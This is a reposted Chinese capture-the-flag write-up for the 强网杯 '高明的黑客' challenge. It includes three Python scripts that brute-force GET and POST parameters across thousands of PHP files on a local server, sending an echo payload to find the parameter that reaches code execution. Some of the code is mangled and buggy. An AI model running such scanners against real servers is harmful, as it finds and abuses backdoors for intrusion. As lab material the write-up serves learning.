强网杯高明的黑客

2024-01-23 21:32
文章标签 黑客 强网杯 高明

本文主要是介绍强网杯高明的黑客,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

在这里插入图片描述
下载源码,发现里面有3002个文件,随便打开一个文件看看
在这里插入图片描述

可以发现里面有很多没用的参数,打开其他文件也是如此,既然有这么多文件,是不是需要遍历文件,来获取可用的请求参数呢,例如eval,system等函数

在本地搭个环境跑
我参考了这篇文章的思路
就是一次发送所有的请求,再找到可用的参数
之前我是慢慢遍历,真的没用,以后得多练练编程思路
放上我根据那篇文章的思路写的脚本,大概用了5分钟。。。。。
这个版本是普通版本的,下面有进程池和线程池版本的,原理都差不多,大概用了2分钟不到

import requests
import re
import os
import time#初始化变量
t1 = time.time()   #设置开始时间
url ="http://localhost/src/"  #初始化url
files = os.listdir("src/") #打开文件夹里的文件,并将文件以列表形式返回
s = requests.Session()   #实例化一个会话保持对象
s.keep_alive =False'''实现主要逻辑
1、先找到当前php文件的get,post所有参数
2、一次性发送所有的参数,看看能否输出想要的内容
3、如果有,遍历所有的get参数,post参数,找到想要的参数
备注:
在本地搭php环境,版本必须7.0以上,否则不能输出想要的内容requests.Session()的讲解
http://2.python-requests.org/zh_CN/latest/user/advanced.html'''
def run(file):print("开始尝试,当前文件为:",file,"当前时间为:",time.strftime("%H:%M:%S",time.localtime())) #输出当前的文件和当前时间#打开文件找到的get或者post请求并放到列表里with open("X:\网络安全/buuoj习题/WEB/web题目/强网杯高明的黑客/src/" + file, encoding="utf-8") as f:content = f.readlines()gets = re.findall("\$_GET\[\'(.*?)\'\]", str(content))posts = re.findall("\$_POST\[\'(.*?)\'\]", str(content))#初始化字典,以便于一次性请求所有的参数params = {}  #初始化get请求data = {}   #初始化post请求#找到的get参数赋值为输出pensonfor find1 in gets:params[find1] ='echo "penson";'#找到的post参数赋值为输出pensonfor find2 in posts:data[find2] = 'echo "penson";'#向当前的文件发送所有的请求url = "http://localhost/src/"+filer = s.post(url,params=params,data=data)  #请求发送get参数和post参数r.close()    #关闭内存r.encoding='utf-8'   #utf-8编码,不然可能找不到# 如果发现这个文件里有pensonif "penson" in r.text:found = 0#遍历发送get请求,如果找到就退出程序for get in gets:new_url = url + '?{}={}'.format(get,'echo "penson";')r = s.get(new_url)r.close()if "penson" in r.text:found =1t2 = time.time()print("find it",new_url)print(time.strftime("%H:%M:%S",time.localtime()))print("一共用时",time.strftime("%M:%S",time.localtime(t2-t1)))exit()#如果没找到,遍历发送post请求if found == 0:for post in posts:data2={}data2[post] = 'echo "penson"'r = s.post(url,data=data2)r.close()if "penson" in r.text:found =1t2 = time.time()print("find it",url,"post:",post)print(time.strftime("%H:%M:%S",time.localtime()))print("一共用时", time.strftime("%M:%S", time.localtime(t3 - t1)))exit()for file in files:run(file)

多进程版本

import requests
import re
import os
import time
import sys
from multiprocessing import Pools = requests.Session()def find_get(file,t1):print("开始尝试,当前文件为:", file, "当前时间为:", time.strftime("%H:%M:%S", time.localtime()))  # 输出当前的文件和当前时间# 打开文件找到的get或者post请求并放到列表里with open("X:\网络安全/buuoj习题/WEB/web题目/强网杯高明的黑客/src/" + file, encoding="utf-8") as f:content = f.readlines()gets = re.findall("\$_GET\[\'(.*?)\'\]", str(content))# 初始化字典,以便于一次性请求所有的参数params = {}  # 初始化get请求for find_get in gets:params[find_get] = 'echo "penson";'url = "http://localhost/src/"+filer = s.get(url,params=params)r.close()if "penson" in r.text:for get in gets:new_url = url + '?{}={}'.format(get, 'echo "penson";')r = s.get(new_url)r.close()if "penson" in r.text:print("find it", new_url)return new_urldef find_post(file,t1):print("开始尝试,当前文件为:", file, "当前时间为:", time.strftime("%H:%M:%S", time.localtime()))  # 输出当前的文件和当前时间# 打开文件找到的get或者post请求并放到列表里with open("X:\网络安全/buuoj习题/WEB/web题目/强网杯高明的黑客/src/" + file, encoding="utf-8") as f:content = f.readlines()posts = re.findall("\$_POST\[\'(.*?)\'\]", str(content))data = {}  # 初始化post请求for find_post in posts:data[find_post] = 'echo "penson";'url = "http://localhost/src/" + filer = s.post(url,data=data)r.close()if "penson" in r.text:for post in posts:data2={}data2[post] = 'echo "penson"'r = s.post(url,data=data2)r.close()if "penson" in r.text:print("find it", url,"post:",data[post])new_url = url +'post'+filereturn new_urltext =[]
def callback(n):text.append(n)if __name__ == '__main__':files = os.listdir("X:\网络安全/buuoj习题/WEB/web题目/强网杯高明的黑客/src")p = Pool(10)t1 = time.time()for file in files:p.apply_async(find_get,args=(file,t1),callback=callback)p.close()p.join()for i in text:if i == None:continueelse:print(i,"\n一共用时:{}".format(time.strftime("%M:%S", time.localtime(time.time() - t1))))

多线程版

from multiprocessing.pool import ThreadPool
import requests
import re
import os
import times = requests.Session()def find_get(file,t1):print("开始尝试,当前文件为:", file, "当前时间为:", time.strftime("%H:%M:%S", time.localtime()))  # 输出当前的文件和当前时间# 打开文件找到的get或者post请求并放到列表里with open("X:\网络安全/buuoj习题/WEB/web题目/强网杯高明的黑客/src/" + file, encoding="utf-8") as f:content = f.readlines()gets = re.findall("\$_GET\[\'(.*?)\'\]", str(content))# 初始化字典,以便于一次性请求所有的参数params = {}  # 初始化get请求for find_get in gets:params[find_get] = 'echo "penson";'url = "http://localhost/src/"+filer = s.get(url,params=params)r.close()if "penson" in r.text:for get in gets:new_url = url + '?{}={}'.format(get, 'echo "penson";')r = s.get(new_url)r.close()if "penson" in r.text:t2 = time.time()print("一共用时", time.strftime("%M:%S", time.localtime(t2 - t1)))print("find it", new_url)os._exit(0)def find_post(file,t1):print("开始尝试,当前文件为:", file, "当前时间为:", time.strftime("%H:%M:%S", time.localtime()))  # 输出当前的文件和当前时间# 打开文件找到的get或者post请求并放到列表里with open("X:\网络安全/buuoj习题/WEB/web题目/强网杯高明的黑客/src/" + file, encoding="utf-8") as f:content = f.readlines()posts = re.findall("\$_POST\[\'(.*?)\'\]", str(content))data = {}  # 初始化post请求for find_post in posts:data[find_post] = 'echo "penson";'url = "http://localhost/src/" + filer = s.post(url,data=data)r.close()if "penson" in r.text:for post in posts:data2={}data2[post] = 'echo "penson"'r = s.post(url,data=data2)r.close()if "penson" in r.text:print("find it", url,"post:",data[post])os._exit(0)if __name__ == '__main__':files = os.listdir("X:\网络安全/buuoj习题/WEB/web题目/强网杯高明的黑客/src")pool = ThreadPool(10)t1 = time.time()for file in files:pool.apply_async(find_get,args=(file,t1,))pool.close()pool.join()

这篇关于强网杯高明的黑客的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/637592

相关文章

黑客为什么不黑赌博网站来搞米?

攻击了,只是你不知道而已! 同样,对方也不会通知你,告诉你他黑了赌博网站。 攻击赌博网站的不一定是正义的黑客,也可能是因赌博输钱而误入歧途的法外狂徒。之前看过一个警方破获的真实案件:28岁小伙因赌博无法提款自学成为黑客,攻击境外博彩网站日进万元,最终因涉嫌非法控制计算机信息系统罪被捕。 我见过很多因赌博输钱想请黑客帮忙渗透网站的人,在被拒后,同样也有人生出极端心理,问我怎么学习黑客,想学成之

UTON HACK 4.0 黑客马拉松大赛在马来西亚引起巨大反响

自第四届UTON HACK黑客马拉松大赛开启报名以来,吸引了全世界范围内区块链技术精英的广泛参与,在东南亚地区特别是马来西亚引起了巨大反响。 近日,马来西亚主流媒体Delight Media Malaysia对本次黑客马拉松大赛的协办单位马来西亚何氏全球总商会、UM公司进行了专访。 前排左一起是何致呈、何德成、何伟贤、尼克及马克。 (Delight Media Malaysia摄) 马来

8年白帽黑客的暑假学习经验及资料分享:迈向网络安全高手之路

给大家的福利 🤟 基于入门网络安全/黑客打造的:👉黑客&网络安全入门&进阶学习资源包 首先介绍一下我自己,我大学读的一所普通的本科学校,毕业顺利通过校招实习面试进入大厂,现就职于某大厂安全联合实验室。是一名拥有8年白帽黑客经验的安全研究员。我很高兴能在这个暑假与大家分享我的***学习经验和一些宝贵的资料,包含我入职一些大厂的面试题及经验*。**暑假是提升技能、充实自己的绝佳时期,如果

公共Wi-Fi,黑客如影随形之——三大阴招

其实在2014年让大家对 Wi-Fi 最担心的就是安全问题,这个是最困扰用户和商家的,小编今天就来给各位总结黑客最常见的三大“阴招”。以后各位到公共场所最好还是避免有支付等隐私操作! NO.1——域名劫持。   用手机连上了一个不设密码的Wi-Fi后,输入正确的工商银行网站,跳出的网页却是个与之相似度很高的山寨钓鱼网站。 在当前的Wi-Fi环境下,黑客可以进入无线路由器的管理

菜鸟黑客入门命令收集(转)

转自《我和黑客有个约会》 1、NET 只要你拥有某IP的用户名和密码,那就用IPC$做连接吧! 这里我们假如你得到的用户是hbx,密码是123456。假设对方IP为127.0.0.1 net use \\127.0.0.1\ipc$ 123456 /user:hbx 退出的命令是 net use \\127.0.0.1\ipc$ /delte

过去的经验3_黑客和程序员

我应该写不出这么有深度的话。这是我从哪复制的。 1. 黑客是程序员的子集。   2. 程序员在解决那些原先已经被解决过的问题。而黑客通常是在尝试解决一些新的问题。   3. 程序员是一种职业,而黑客是一种兴趣。   4. 程序员的工作有很多限制,而黑客可以尽情发挥。   5. 程序员都想把自己说得更好,因为他们要推销自己,而真正的黑客更谦虚,他们知道自己懂得还不够多。   6. 程序员是一种“职

让你很容易被黑客盯上的九个行为

我们都不想沦为黑客的受害者,但有时我们不知不觉中做出的决定却又增加了沦为受害者的可能性。有时候,一个小小的错误就可能为黑客打开便利之门,所以知道应该避免什么显得很重要。 以下是让你更容易受到黑客攻击的九个错误。        1. 使用公共Wi-Fi网络 当我们外出在商店、餐馆、咖啡厅和酒店时,有两种方式可以连接到互联网:使用我们的移动数据流量或连接到公共Wi-Fi网络。我们常常不想耗用自己

FBI 数据泄露!黑客组织公布全部数据

作者:HikkI-Chan 日期:2024年8月28日 近日,著名的BreachForums社区内,一名黑客发布了一个名为“OpPriser v1.0”的文件包。此文件包据称包含美国联邦调查局(FBI)及其他政府机构的敏感信息,黑客组织声称这些数据是通过“Operation Priser”行动所获取的。 行动概述 根据发布者HikkI-Chan的描述,“Operation Priser”是

10种常见的黑客攻击、满足你的黑客梦,零基础入门到精通,收藏这一篇就够了

1.跨站脚本(XSS) 跨站脚本攻击是最为常见的一类网络攻击,它针对的是网站的用户,而不是web应用本身。恶意 黑客在有漏洞的网站里注人一段代码,然后网站访容执行这段代码。此类代码可以人侵用户账户,激活木马程序,或者修改网站内容,诱骗用户 给出私人信息。 ​ 设置web应用防火墙(WAF)可以保护网站不受跨站脚本攻击危害。WAF就像个过滤器,能够识别并阻止对网站的恶意请求。 2.注攻击

Web安全-网络安全_学习路线发展方向(如何成为一名黑客Hacker?)

文章目录:  一:Web技术架构流程图 二:学习路线 三:其他相关  1.有哪些岗位 2.招聘单位 3.工资区间 4.福利 文章内容仅供参考  一:Web技术架构流程图 —————————————————————————————————————————————————————————————————————————————————————————————————————